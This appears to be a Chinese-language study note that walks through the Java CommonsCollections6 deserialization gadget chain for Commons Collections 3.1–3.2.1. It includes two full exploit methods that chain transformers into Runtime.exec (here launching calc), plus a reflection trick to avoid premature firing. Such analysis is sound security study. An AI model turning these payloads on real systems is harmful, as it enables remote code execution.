流程图
分析与复现
0x00 概述
CommonsCollection6 是 Common-collections 中没有受到 JDK 版本限制的一条链。
利用版本
CommonsCollections 3.1 - 3.2.1
限制
JDK版本:暂无限制
0x01 前置准备
环境搭建与 CC1 中的环境搭建一致。具体可以参考:
https://www.yuque.com/dr34d/ziu16u/xuq88g#UmX6n
0x02 触发点
CC6 与 CC1 在LazyMap.get 之后的调用链是相同的,因此触发点不变。不同的是,CC6 使用了 HashMap 作为利用链的起点。
0x03 调用链
在 URLDNS 中,我们可以知道 HashMap 在反序列化时会调用 hashCode 方法,但是 hashCode 之后怎么串联起来,需要寻找新的类。目前这条链如图所示:
寻找方法可以使用 IDEA 手动寻找,也可以使用一些自动化的工具。
利用链的作者使用的是 TiedMapEntry 。
我们可以看到 TiedMapEntry.hashCode 方法中调用了 getValue 方法。
getValue 方法中调用了 map.get 方法。
map 在构造器中初始化,因此我们可控。
所以这样看,这条链其实也比较简单。
将 HashMap 的元素设置为 TiedMapEntry ,TiedMapEntry.map 设置为 LazyMap,就能够将整条链串起来。
利用链如下:
exp 编写如下:
public static void testCC6() throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
HashMap<String,String> map = new HashMap<>();
map.put("entrySet","aaa");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
serialize(hashMap);
}
在 URLDNS 利用链中我们知道,在编写 HashMap 相关的 exp 时,按照上面的写法,hashMap.put 中会调用 hash 方法
hash 方法会进一步调用 key.hashCode,这里 key 为 TideMapEntry,因此会弹出计算器。
另外,调用了 LazyMap.get 方法后,会将对应的 key(上面的 exp 中为 “aaa”)和 value put 到 map 中。
如果在序列化前不将这个键值对删除掉的话,在反序列化再次调用 get 方法时,这个 key 已经在 map 里面了,则不会调用 transform 方法。
至于序列化时是否执行,可改可不改。编写工具时当然不希望有干扰,可以进行相应修改,即在 put 前将利用链破坏掉,put 后,序列化前再将完整的链还原,这里是先将任意 ConstantTransformer 赋值到 LazyMap 中,尔后在赋值为 chainedTransformer,注意需要使用反射的方法来修改属性。
综上修改后的 exp:
public static void testCC6() throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
HashMap<String,String> map = new HashMap<>();
map.put("entrySet","aaa");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer("aaa"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
Class c = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
lazyMap.remove("aaa");
serialize(hashMap);
}